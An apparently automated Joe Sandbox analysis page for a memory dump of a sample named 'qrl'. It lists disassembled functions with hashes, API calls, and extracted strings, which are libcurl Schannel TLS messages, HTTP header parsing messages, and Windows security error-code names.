Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: e7b062b5559d778c760569cb2eb2d83933f621d5b3d0355d619f35aaed1e554c
Instruction ID: d9367c4ed3d8af2b8350d1d1877030f7412bc28c6f233f64cff8934e7eedd410
Opcode Fuzzy Hash: e7b062b5559d778c760569cb2eb2d83933f621d5b3d0355d619f35aaed1e554c
Instruction Fuzzy Hash: 085108B55043018FDB14CF19C48069ABBE1FF88314F16C96EE8489B315E778E949CFA2

Non-executed Functions

Function 00389D10 Relevance: 318.9, APIs: 79, Strings: 102, Instructions: 2142COMMON

Download Yara Rule

Strings

schannel: TLS 1.3 is not yet supported, xrefs: 0038B08A
Microsoft Unified Security Protocol Provider, xrefs: 0038BC07
Unrecognized parameter passed via CURLOPT_SSLVERSION, xrefs: 0038B0AE
CALG_DH_EPHEM, xrefs: 0038B488
CALG_AES_128, xrefs: 0038B65C
CALG_SEAL, xrefs: 0038B454
CALG_AGREEDKEY_ANY, xrefs: 0038B4A2
CALG_SKIPJACK, xrefs: 0038B4D6
Users, xrefs: 0038B7F3
CALG_3DES, xrefs: 0038B3FC
CALG_SSL3_SHAMD5, xrefs: 0038B524
CALG_3DES_112, xrefs: 0038B3E6
schannel: SSL/TLS connection with %s port %hu (step 3/3), xrefs: 0038A994
CALG_AES_256, xrefs: 0038B690
schannel: AcquireCredentialsHandle failed: %s, xrefs: 0038BC3E
schannel: received incomplete message, need more data, xrefs: 0038A653
CALG_PCT1_MASTER, xrefs: 0038B5A6
CALG_CYLINK_MEK, xrefs: 0038B50A
schannel: failed to setup memory allocation, xrefs: 0038AE17
schannel: SSL/TLS handshake complete, xrefs: 0038A425
CALG_SHA, xrefs: 0038B331
CALG_MD4, xrefs: 0038B305
CALG_SCHANNEL_ENC_KEY, xrefs: 0038B58C
SSL: failed retrieving public key from server certificate, xrefs: 0038A723
CALG_SHA1, xrefs: 0038B34C
schannel: failed to send next handshake data: sent %zd of %lu bytes, xrefs: 0038A4CA
CALG_TLS1_MASTER, xrefs: 0038B5DA
schannel: stored credential handle in session cache, xrefs: 0038B946
LocalMachineGroupPolicy, xrefs: 0038B821
CALG_DSS_SIGN, xrefs: 0038B38E
CALG_SSL3_MASTER, xrefs: 0038B53E
:, xrefs: 0038B77E
schannel: unable to allocate memory, xrefs: 0038A35E, 0038A388, 0038A3E8, 0038AD00, 0038BC90
schannel: SSL/TLS connection with %s port %hu (step 2/3), xrefs: 00389E84
CALG_DESX, xrefs: 0038B412
schannel: Failed to open cert store %x %s, last error is %x, xrefs: 0038BCF6
schannel: incremented credential handle refcount = %d, xrefs: 0038AA64
CurrentUser, xrefs: 0038B797
CALG_TEK, xrefs: 0038B4F0
schannel: failed to receive handshake, SSL/TLS connection failed, xrefs: 0038A3AF
schannel: a client certificate has been requested, xrefs: 0038A685
CALG_HUGHES_MD5, xrefs: 0038B4BC
schannel: failed to store credential handle, xrefs: 0038B900
schannel: old credential handle is stale, removing, xrefs: 0038B8BE
schannel: failed to send initial handshake data: sent %zd of %lu bytes, xrefs: 0038B91B
schannel: disabled server certificate revocation checks, xrefs: 0038AD2E
schannel: failed to retrieve remote cert context, xrefs: 0038B9EB
CALG_MAC, xrefs: 0038B362
schannel: Failed to get certificate location for %s, xrefs: 0038BCC3
CALG_RSA_KEYX, xrefs: 0038B3BA
CALG_DH_SF, xrefs: 0038B46E
SSL: public key does not match pinned public key!, xrefs: 0038A5B5, 0038A70C
CurrentUserGroupPolicy, xrefs: 0038B80A
select/poll on SSL/TLS socket, errno: %d, xrefs: 0038A7E4
schannel: encrypted data length: %lu, xrefs: 0038A272
CALG_RC2, xrefs: 0038B428
SSL/TLS connection timeout, xrefs: 0038A818
schannel: sending initial handshake data: sending %lu bytes..., xrefs: 0038ABC4
CALG_MD5, xrefs: 0038B31B
CALG_SCHANNEL_MAC_KEY, xrefs: 0038B572
schannel: Windows version is old and may not be able to connect to some servers due to lack of SNI, algorithms, etc., xrefs: 0038A865
Unable to set ciphers to passed via SSL_CONN_CONFIG, xrefs: 0038BD2B
CALG_HASH_REPLACE_OWF, xrefs: 0038B642
LocalMachineEnterprise, xrefs: 0038B838
schannel: sending next handshake data: sending %lu bytes..., xrefs: 0038A12C, 0038A196, 0038A200
CALG_RC4, xrefs: 0038B43E
CALG_SHA_384, xrefs: 0038B6DE
CALG_HMAC, xrefs: 0038B60E
CurrentService, xrefs: 0038B7C5
schannel: failed to setup replay detection, xrefs: 0038ADF9
CALG_SCHANNEL_MASTER_HASH, xrefs: 0038B558
schannel: unable to re-allocate memory, xrefs: 0038A381
schannel: re-using existing credential handle, xrefs: 0038AA42
LocalMachine, xrefs: 0038B7AE
CALG_SHA_512, xrefs: 0038B6F8
CALG_AES, xrefs: 0038B6AA
CALG_SHA_256, xrefs: 0038B6C4
schannel: this version of Windows is too old to support certificate verification via CA bundle file., xrefs: 0038A8DA
CALG_SSL2_MASTER, xrefs: 0038B5C0
CALG_RC5, xrefs: 0038B5F4
schannel: Failed to read remote certificate context: %s, xrefs: 0038A58B
schannel: SNI or certificate check failed: %s, xrefs: 0038A491, 0038AF52
schannel: failed to receive handshake, need more data, xrefs: 0038A305
CALG_AES_192, xrefs: 0038B676
CALG_TLS1PRF, xrefs: 0038B628
schannel: encrypted data buffer: offset %zu length %zu, xrefs: 00389F88
schannel: encrypted data got %zd, xrefs: 0038A348
schannel: next InitializeSecurityContext failed: %s, xrefs: 0038A69A, 0038A6CC
schannel: failed to setup confidentiality, xrefs: 0038ADBE
schannel: using IP address, SNI is not supported by OS., xrefs: 0038AAB9
CALG_NO_SIGN, xrefs: 0038B3A4
CALG_DES, xrefs: 0038B3D0
schannel: failed to setup sequence detection, xrefs: 0038ADA3
schannel: SSL/TLS connection with %s port %hu (step 1/3), xrefs: 0038A843
CALG_MD2, xrefs: 0038B2EF
schannel: verifyhost setting prevents Schannel from comparing the supplied target name with the subject names in server certificates., xrefs: 0038AE64
schannel: failed to setup stream orientation, xrefs: 0038ADDD
Services, xrefs: 0038B7DC
schannel: initial InitializeSecurityContext failed: %s, xrefs: 0038AD88, 0038AF80
CALG_RSA_SIGN, xrefs: 0038B378
schannel: checking server certificate revocation, xrefs: 0038AE45
schannel: sent initial handshake data: sent %zd bytes, xrefs: 0038AEF0

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID: :$CALG_3DES$CALG_3DES_112$CALG_AES$CALG_AES_128$CALG_AES_192$CALG_AES_256$CALG_AGREEDKEY_ANY$CALG_CYLINK_MEK$CALG_DES$CALG_DESX$CALG_DH_EPHEM$CALG_DH_SF$CALG_DSS_SIGN$CALG_HASH_REPLACE_OWF$CALG_HMAC$CALG_HUGHES_MD5$CALG_MAC$CALG_MD2$CALG_MD4$CALG_MD5$CALG_NO_SIGN$CALG_PCT1_MASTER$CALG_RC2$CALG_RC4$CALG_RC5$CALG_RSA_KEYX$CALG_RSA_SIGN$CALG_SCHANNEL_ENC_KEY$CALG_SCHANNEL_MAC_KEY$CALG_SCHANNEL_MASTER_HASH$CALG_SEAL$CALG_SHA$CALG_SHA1$CALG_SHA_256$CALG_SHA_384$CALG_SHA_512$CALG_SKIPJACK$CALG_SSL2_MASTER$CALG_SSL3_MASTER$CALG_SSL3_SHAMD5$CALG_TEK$CALG_TLS1PRF$CALG_TLS1_MASTER$CurrentService$CurrentUser$CurrentUserGroupPolicy$LocalMachine$LocalMachineEnterprise$LocalMachineGroupPolicy$Microsoft Unified Security Protocol Provider$SSL/TLS connection timeout$SSL: failed retrieving public key from server certificate$SSL: public key does not match pinned public key!$Services$Unable to set ciphers to passed via SSL_CONN_CONFIG$Unrecognized parameter passed via CURLOPT_SSLVERSION$Users$schannel: AcquireCredentialsHandle failed: %s$schannel: Failed to get certificate location for %s$schannel: Failed to open cert store %x %s, last error is %x$schannel: Failed to read remote certificate context: %s$schannel: SNI or certificate check failed: %s$schannel: SSL/TLS connection with %s port %hu (step 1/3)$schannel: SSL/TLS connection with %s port %hu (step 2/3)$schannel: SSL/TLS connection with %s port %hu (step 3/3)$schannel: SSL/TLS handshake complete$schannel: TLS 1.3 is not yet supported$schannel: Windows version is old and may not be able to connect to some servers due to lack of SNI, algorithms, etc.$schannel: a client certificate has been requested$schannel: checking server certificate revocation$schannel: disabled server certificate revocation checks$schannel: encrypted data buffer: offset %zu length %zu$schannel: encrypted data got %zd$schannel: encrypted data length: %lu$schannel: failed to receive handshake, SSL/TLS connection failed$schannel: failed to receive handshake, need more data$schannel: failed to retrieve remote cert context$schannel: failed to send initial handshake data: sent %zd of %lu bytes$schannel: failed to send next handshake data: sent %zd of %lu bytes$schannel: failed to setup confidentiality$schannel: failed to setup memory allocation$schannel: failed to setup replay detection$schannel: failed to setup sequence detection$schannel: failed to setup stream orientation$schannel: failed to store credential handle$schannel: incremented credential handle refcount = %d$schannel: initial InitializeSecurityContext failed: %s$schannel: next InitializeSecurityContext failed: %s$schannel: old credential handle is stale, removing$schannel: re-using existing credential handle$schannel: received incomplete message, need more data$schannel: sending initial handshake data: sending %lu bytes...$schannel: sending next handshake data: sending %lu bytes...$schannel: sent initial handshake data: sent %zd bytes$schannel: stored credential handle in session cache$schannel: this version of Windows is too old to support certificate verification via CA bundle file.$schannel: unable to allocate memory$schannel: unable to re-allocate memory$schannel: using IP address, SNI is not supported by OS.$schannel: verifyhost setting prevents Schannel from comparing the supplied target name with the subject names in server certificates.$select/poll on SSL/TLS socket, errno: %d
API String ID: 0-1739913269
Opcode ID: 4b729b1def2ceb310b5413abf4fce5294ccc599431a951027b410c78d5c5bcb0
Instruction ID: ecb52ae2b08ea34e885851e46cbe642f8c7b5efc1010c0295bfeda1c232fdab8
Opcode Fuzzy Hash: 4b729b1def2ceb310b5413abf4fce5294ccc599431a951027b410c78d5c5bcb0
Instruction Fuzzy Hash: 6003D3706043019FEB22AF21CC85B6BB7E9FF85304F0544A9F9899B292E775DD44CB62

Function 0037A2A0 Relevance: 164.8, APIs: 10, Strings: 84, Instructions: 277stringwindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0037A2B8
_errno.MSVCRT ref: 0037A2C0
FormatMessageA.KERNEL32(00001200,00000000,?,00000000,?,000000FF,00000000), ref: 0037A671
strrchr.MSVCRT ref: 0037A686
strrchr.MSVCRT ref: 0037A6A1
strncpy.MSVCRT ref: 0037A6E4
_errno.MSVCRT ref: 0037A701
_errno.MSVCRT ref: 0037A70B
GetLastError.KERNEL32 ref: 0037A713
SetLastError.KERNEL32(?), ref: 0037A71E

Strings

SEC_E_UNSUPPORTED_PREAUTH, xrefs: 0037A59F
SEC_E_STRONG_CRYPTO_NOT_SUPPORTED, xrefs: 0037A545
SEC_E_SHUTDOWN_IN_PROGRESS, xrefs: 0037A577
SEC_E_PKINIT_NAME_MISMATCH, xrefs: 0037A563
SEC_E_UNTRUSTED_ROOT, xrefs: 0037A49C
SEC_I_NO_LSA_CONTEXT, xrefs: 0037A398
SEC_E_TOO_MANY_PRINCIPALS, xrefs: 0037A54F
SEC_E_DELEGATION_POLICY, xrefs: 0037A62D
SEC_E_INVALID_HANDLE, xrefs: 0037A3AC
SEC_E_NO_IP_ADDRESSES, xrefs: 0037A513
CRYPT_E_REVOKED, xrefs: 0037A324
SEC_E_KDC_UNABLE_TO_REFER, xrefs: 0037A58B
SEC_E_REVOCATION_OFFLINE_C, xrefs: 0037A5E7
Unknown error, xrefs: 0037A63B, 0037A645
SEC_E_CONTEXT_EXPIRED, xrefs: 0037A460
SEC_E_REVOCATION_OFFLINE_KDC, xrefs: 0037A60A
SEC_E_NO_PA_DATA, xrefs: 0037A559
SEC_E_SMARTCARD_CERT_EXPIRED, xrefs: 0037A5F5
%s - %s, xrefs: 0037A6C1
SEC_I_COMPLETE_NEEDED, xrefs: 0037A35C
SEC_I_LOCAL_LOGON, xrefs: 0037A370
SEC_I_SIGNATURE_NEEDED, xrefs: 0037A3A2
SEC_I_CONTEXT_EXPIRED, xrefs: 0037A37A
SEC_E_KDC_CERT_EXPIRED, xrefs: 0037A618
SEC_E_CRYPTO_SYSTEM_INVALID, xrefs: 0037A527
SEC_E_ISSUING_CA_UNTRUSTED, xrefs: 0037A5E0
SEC_E_BAD_BINDINGS, xrefs: 0037A5B3
SEC_E_NOT_OWNER, xrefs: 0037A3DE
SEC_E_CROSSREALM_DELEGATION_FAILURE, xrefs: 0037A603
SEC_E_NO_AUTHENTICATING_AUTHORITY, xrefs: 0037A44C
SEC_E_SMARTCARD_LOGON_REQUIRED, xrefs: 0037A56D
No error, xrefs: 0037A349
SEC_E_POLICY_NLTM_ONLY, xrefs: 0037A634
SEC_E_PKINIT_CLIENT_FAILURE, xrefs: 0037A5EE
SEC_E_UNFINISHED_CONTEXT_DELETED, xrefs: 0037A4FF
SEC_E_KDC_INVALID_REQUEST, xrefs: 0037A581
SEC_E_CERT_UNKNOWN, xrefs: 0037A4C3
SEC_E_NO_S4U_PROT_SUPPORT, xrefs: 0037A5FC
SEC_E_BUFFER_TOO_SMALL, xrefs: 0037A47E
SEC_E_LOGON_DENIED, xrefs: 0037A41A
SEC_E_KDC_CERT_REVOKED, xrefs: 0037A61F
SEC_E_KDC_UNKNOWN_ETYPE, xrefs: 0037A595
SEC_E_ALGORITHM_MISMATCH, xrefs: 0037A4EB
SEC_E_NO_TGT_REPLY, xrefs: 0037A509
SEC_E_QOP_NOT_SUPPORTED, xrefs: 0037A406
SEC_E_INTERNAL_ERROR, xrefs: 0037A3CA
SEC_E_NO_CREDENTIALS, xrefs: 0037A42E
SEC_E_ILLEGAL_MESSAGE (0x%08X) - This error usually occurs when a fatal SSL/TLS alert is received (e.g. handshake failed). More detail may be available in the Windows System event log., xrefs: 0037A4AB
SEC_E_WRONG_PRINCIPAL, xrefs: 0037A488
SEC_I_COMPLETE_AND_CONTINUE, xrefs: 0037A366
SEC_E_SECURITY_QOS_FAILED, xrefs: 0037A4F5
SEC_E_CANNOT_INSTALL, xrefs: 0037A3E8
SEC_E_DOWNGRADE_DETECTED, xrefs: 0037A5D2
SEC_E_NO_IMPERSONATION, xrefs: 0037A410
SEC_E_UNKNOWN_CREDENTIALS, xrefs: 0037A424
SEC_E_BAD_PKGID, xrefs: 0037A456
SEC_E_TIME_SKEW, xrefs: 0037A492
SEC_I_CONTINUE_NEEDED, xrefs: 0037A31A
SEC_I_INCOMPLETE_CREDENTIALS, xrefs: 0037A384
SEC_E_DECRYPT_FAILURE, xrefs: 0037A4E1
SEC_E_OUT_OF_SEQUENCE, xrefs: 0037A442
SEC_E_UNSUPPORTED_FUNCTION, xrefs: 0037A3B6
SEC_E_WRONG_CREDENTIAL_HANDLE, xrefs: 0037A51D
SEC_E_INSUFFICIENT_MEMORY, xrefs: 0037A2FC
SEC_E_MUST_BE_KDC, xrefs: 0037A53B
SEC_E_CERT_EXPIRED, xrefs: 0037A4CD
SEC_E_INCOMPLETE_CREDENTIALS, xrefs: 0037A474
SEC_E_SMARTCARD_CERT_REVOKED, xrefs: 0037A5D9
%s (0x%08X), xrefs: 0037A646
SEC_E_SECPKG_NOT_FOUND, xrefs: 0037A3D4
SEC_E_TARGET_UNKNOWN, xrefs: 0037A3C0
SEC_E_ISSUING_CA_UNTRUSTED_KDC, xrefs: 0037A611
SEC_I_RENEGOTIATE, xrefs: 0037A38E
SEC_E_INCOMPLETE_MESSAGE, xrefs: 0037A46A
SEC_E_INVALID_TOKEN, xrefs: 0037A3F2
SEC_E_MULTIPLE_ACCOUNTS, xrefs: 0037A5BD
SEC_E_ENCRYPT_FAILURE, xrefs: 0037A4D7
SEC_E_INVALID_PARAMETER, xrefs: 0037A626
SEC_E_NO_KERB_KEY, xrefs: 0037A5C4
SEC_E_CANNOT_PACK, xrefs: 0037A3FC
SEC_E_CERT_WRONG_USAGE, xrefs: 0037A5CB
SEC_E_DELEGATION_REQUIRED, xrefs: 0037A5A9
SEC_E_MAX_REFERRALS_EXCEEDED, xrefs: 0037A531
SEC_E_MESSAGE_ALTERED, xrefs: 0037A438

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: ErrorLast_errno$strrchr$FormatMessagestrncpy
String ID: %s (0x%08X)$%s - %s$CRYPT_E_REVOKED$No error$SEC_E_ALGORITHM_MISMATCH$SEC_E_BAD_BINDINGS$SEC_E_BAD_PKGID$SEC_E_BUFFER_TOO_SMALL$SEC_E_CANNOT_INSTALL$SEC_E_CANNOT_PACK$SEC_E_CERT_EXPIRED$SEC_E_CERT_UNKNOWN$SEC_E_CERT_WRONG_USAGE$SEC_E_CONTEXT_EXPIRED$SEC_E_CROSSREALM_DELEGATION_FAILURE$SEC_E_CRYPTO_SYSTEM_INVALID$SEC_E_DECRYPT_FAILURE$SEC_E_DELEGATION_POLICY$SEC_E_DELEGATION_REQUIRED$SEC_E_DOWNGRADE_DETECTED$SEC_E_ENCRYPT_FAILURE$SEC_E_ILLEGAL_MESSAGE (0x%08X) - This error usually occurs when a fatal SSL/TLS alert is received (e.g. handshake failed). More detail may be available in the Windows System event log.$SEC_E_INCOMPLETE_CREDENTIALS$SEC_E_INCOMPLETE_MESSAGE$SEC_E_INSUFFICIENT_MEMORY$SEC_E_INTERNAL_ERROR$SEC_E_INVALID_HANDLE$SEC_E_INVALID_PARAMETER$SEC_E_INVALID_TOKEN$SEC_E_ISSUING_CA_UNTRUSTED$SEC_E_ISSUING_CA_UNTRUSTED_KDC$SEC_E_KDC_CERT_EXPIRED$SEC_E_KDC_CERT_REVOKED$SEC_E_KDC_INVALID_REQUEST$SEC_E_KDC_UNABLE_TO_REFER$SEC_E_KDC_UNKNOWN_ETYPE$SEC_E_LOGON_DENIED$SEC_E_MAX_REFERRALS_EXCEEDED$SEC_E_MESSAGE_ALTERED$SEC_E_MULTIPLE_ACCOUNTS$SEC_E_MUST_BE_KDC$SEC_E_NOT_OWNER$SEC_E_NO_AUTHENTICATING_AUTHORITY$SEC_E_NO_CREDENTIALS$SEC_E_NO_IMPERSONATION$SEC_E_NO_IP_ADDRESSES$SEC_E_NO_KERB_KEY$SEC_E_NO_PA_DATA$SEC_E_NO_S4U_PROT_SUPPORT$SEC_E_NO_TGT_REPLY$SEC_E_OUT_OF_SEQUENCE$SEC_E_PKINIT_CLIENT_FAILURE$SEC_E_PKINIT_NAME_MISMATCH$SEC_E_POLICY_NLTM_ONLY$SEC_E_QOP_NOT_SUPPORTED$SEC_E_REVOCATION_OFFLINE_C$SEC_E_REVOCATION_OFFLINE_KDC$SEC_E_SECPKG_NOT_FOUND$SEC_E_SECURITY_QOS_FAILED$SEC_E_SHUTDOWN_IN_PROGRESS$SEC_E_SMARTCARD_CERT_EXPIRED$SEC_E_SMARTCARD_CERT_REVOKED$SEC_E_SMARTCARD_LOGON_REQUIRED$SEC_E_STRONG_CRYPTO_NOT_SUPPORTED$SEC_E_TARGET_UNKNOWN$SEC_E_TIME_SKEW$SEC_E_TOO_MANY_PRINCIPALS$SEC_E_UNFINISHED_CONTEXT_DELETED$SEC_E_UNKNOWN_CREDENTIALS$SEC_E_UNSUPPORTED_FUNCTION$SEC_E_UNSUPPORTED_PREAUTH$SEC_E_UNTRUSTED_ROOT$SEC_E_WRONG_CREDENTIAL_HANDLE$SEC_E_WRONG_PRINCIPAL$SEC_I_COMPLETE_AND_CONTINUE$SEC_I_COMPLETE_NEEDED$SEC_I_CONTEXT_EXPIRED$SEC_I_CONTINUE_NEEDED$SEC_I_INCOMPLETE_CREDENTIALS$SEC_I_LOCAL_LOGON$SEC_I_NO_LSA_CONTEXT$SEC_I_RENEGOTIATE$SEC_I_SIGNATURE_NEEDED$Unknown error
API String ID: 2057771725-3170461277
Opcode ID: 9ebe9b7cdbfce30c75e1459983ef4edcf4ff39ff726f9b25b12e474f3d9a8658
Instruction ID: 25940ec225cda05e2d0c77902c94af9a14869796369a5cc0da217bb704b3ab78
Opcode Fuzzy Hash: 9ebe9b7cdbfce30c75e1459983ef4edcf4ff39ff726f9b25b12e474f3d9a8658
Instruction Fuzzy Hash: 0591EC643C8A65D7D73A6F18884167F695ADBC1320F2AC236750E9FBC1D66C8E00E397

Function 003959E0 Relevance: 102.9, APIs: 15, Strings: 43, Instructions: 1427stringCOMMON

Download Yara Rule

APIs

memchr.MSVCRT ref: 00395A42
memcpy.MSVCRT(?,?,?), ref: 00395AFA
strlen.MSVCRT ref: 00395B83
sscanf.MSVCRT ref: 00395D05
sscanf.MSVCRT ref: 00395D2C
strchr.MSVCRT ref: 00396F3D

Strings

HTTP/2 %d, xrefs: 00395D25
HTTP error before end of send, stop sending, xrefs: 003967AB
Unsupported HTTP version in response, xrefs: 00396E37
Invalid Content-Length: value, xrefs: 00396E88
HTTP/, xrefs: 00395BC9, 003961FC, 00396EDC
Lying server, not serving HTTP/2, xrefs: 00395D91
The requested URL returned error: %s, xrefs: 00396F55
Failed to alloc memory for big header!, xrefs: 00396B87, 00396DCA
Content-Length:, xrefs: 00396482
HTTP/%1d.%1d%c%3d, xrefs: 00395CFF
Received HTTP/0.9 when not allowed, xrefs: 00396DC3, 00396F23
Maximum file size exceeded, xrefs: 00396EA0
Server:, xrefs: 00396405
HTTP/1.0 connection set to keep alive!, xrefs: 0039662B
Last-Modified:, xrefs: 00396881
HTTP/1.1 proxy connection set close!, xrefs: 003965F6
Rejected %zu bytes header (max is %d)!, xrefs: 00396AD8
HTTP, xrefs: 00396E1F
RTSP/%1d.%1d%c%3d, xrefs: 00396076
HTTP %3d, xrefs: 00396163
HTTP 1.0, assume close after body, xrefs: 00396302
Transfer-Encoding:, xrefs: 00396664
RTSP/, xrefs: 00395BF7, 00396DE2
Location:, xrefs: 00396A0C
Content-Range:, xrefs: 0039675B
Connection:, xrefs: 0039660D, 00396640
Content-Type:, xrefs: 003963B8
, xrefs: 0039608F
no chunk, no close, no size. Assume close to signal end, xrefs: 00395E13
Proxy-authenticate:, xrefs: 00396990
Set-Cookie:, xrefs: 0039680B
Keep sending data to get tossed away!, xrefs: 00395FE3
Proxy-Connection:, xrefs: 00396526, 003965D8
Received 101, xrefs: 00395E3B
The requested URL returned error: %d, xrefs: 00396AF6
Connection closure while negotiating auth (HTTP 1.0?), xrefs: 00395EE1
close, xrefs: 003965D3, 0039663B
WWW-Authenticate:, xrefs: 00396966
keep-alive, xrefs: 00396521, 00396608
Overflow Content-Length: value!, xrefs: 003965B8
HTTP/1.0 proxy connection set to keep alive!, xrefs: 00396548
Content-Encoding:, xrefs: 00396731
HTTP error before end of send, keep sending, xrefs: 0039610C

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: sscanf$memchrmemcpystrchrstrlen
String ID: $ HTTP %3d$ HTTP/%1d.%1d%c%3d$ HTTP/2 %d$ RTSP/%1d.%1d%c%3d$Connection closure while negotiating auth (HTTP 1.0?)$Connection:$Content-Encoding:$Content-Length:$Content-Range:$Content-Type:$Failed to alloc memory for big header!$HTTP$HTTP 1.0, assume close after body$HTTP error before end of send, keep sending$HTTP error before end of send, stop sending$HTTP/$HTTP/1.0 connection set to keep alive!$HTTP/1.0 proxy connection set to keep alive!$HTTP/1.1 proxy connection set close!$Invalid Content-Length: value$Keep sending data to get tossed away!$Last-Modified:$Location:$Lying server, not serving HTTP/2$Maximum file size exceeded$Overflow Content-Length: value!$Proxy-Connection:$Proxy-authenticate:$RTSP/$Received 101$Received HTTP/0.9 when not allowed$Rejected %zu bytes header (max is %d)!$Server:$Set-Cookie:$The requested URL returned error: %d$The requested URL returned error: %s$Transfer-Encoding:$Unsupported HTTP version in response$WWW-Authenticate:$close$keep-alive$no chunk, no close, no size. Assume close to signal end
API String ID: 1606147131-3540691237
Opcode ID: f7a1c9124732bf3d0e78b7f72c47e3a2c6bffbc026deeed0141143301f6716bd
Instruction ID: 2400e40e57ac46d344386f3765b37c0205346429977b4bef268bb509e23e1364
Opcode Fuzzy Hash: f7a1c9124732bf3d0e78b7f72c47e3a2c6bffbc026deeed0141143301f6716bd
Instruction Fuzzy Hash: 51C2F270A013019FEF22CF24C886BAA77E5BF54304F194479EC4D9F286E775A894CB62

Function 0038BD50 Relevance: 50.1, APIs: 4, Strings: 29, Instructions: 568COMMON

Download Yara Rule

APIs

Part of subcall function 00396FB0: strlen.MSVCRT ref: 00397002
Part of subcall function 00396FB0: strlen.MSVCRT ref: 00397039

memcpy.MSVCRT(?,?,?), ref: 0038BE7F
memmove.MSVCRT(?,?,?), ref: 0038BE9A

Part of subcall function 00397140: strlen.MSVCRT ref: 0039718C

Strings

schannel: encrypted data cached: offset %zu length %zu, xrefs: 0038C2E8
schannel: decrypted data returned %zu, xrefs: 0038BEA8
schannel: renegotiating SSL/TLS connection, xrefs: 0038C32F
schannel: server closed abruptly (missing close_notify), xrefs: 0038BF83
schannel: failed to decrypt data, need more data, xrefs: 0038C44B
schannel: Curl_read_plain returned CURLE_RECV_ERROR, xrefs: 0038C081
schannel: SSL/TLS connection renegotiated, xrefs: 0038C36E
schannel: failed to read data from server: %s, xrefs: 0038C479
schannel: can't renogotiate, an error is pending, xrefs: 0038C490
schannel: server closed the connection, xrefs: 0038C0A5, 0038C416
schannel: renegotiation failed, xrefs: 0038C4A5
schannel: client wants to read %zu bytes, xrefs: 0038BD7A
schannel: remote party requests renegotiation, xrefs: 0038C302
schannel: encrypted data buffer: offset %zu length %zu, xrefs: 0038BFEE, 0038C0BE, 0038C3C6
schannel: encrypted data got %zd, xrefs: 0038C060
schannel: enough decrypted data is already available, xrefs: 0038BDCE
schannel: decrypted data cached: offset %zu length %zu, xrefs: 0038C278
schannel: decrypted data length: %lu, xrefs: 0038C1CF
schannel: unable to re-allocate memory, xrefs: 0038C06E, 0038C4CF
schannel: decrypted data added: %zu, xrefs: 0038C25E
schannel: schannel_recv cleanup, xrefs: 0038BDE8, 0038BE22
schannel: server indicated shutdown in a prior call, xrefs: 0038BE0E
schannel: an unrecoverable error occurred in a prior call, xrefs: 0038BDC3
schannel: encdata_buffer resized %zu, xrefs: 0038BFD2
schannel: can't renogotiate, encrypted data available, xrefs: 0038C49E
schannel: encrypted data length: %lu, xrefs: 0038C2A2
schannel: Curl_read_plain returned CURLE_AGAIN, xrefs: 0038C03D
schannel: Curl_read_plain returned error %d, xrefs: 0038C089
schannel: decrypted data buffer: offset %zu length %zu, xrefs: 0038BEBE, 0038C3DF

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

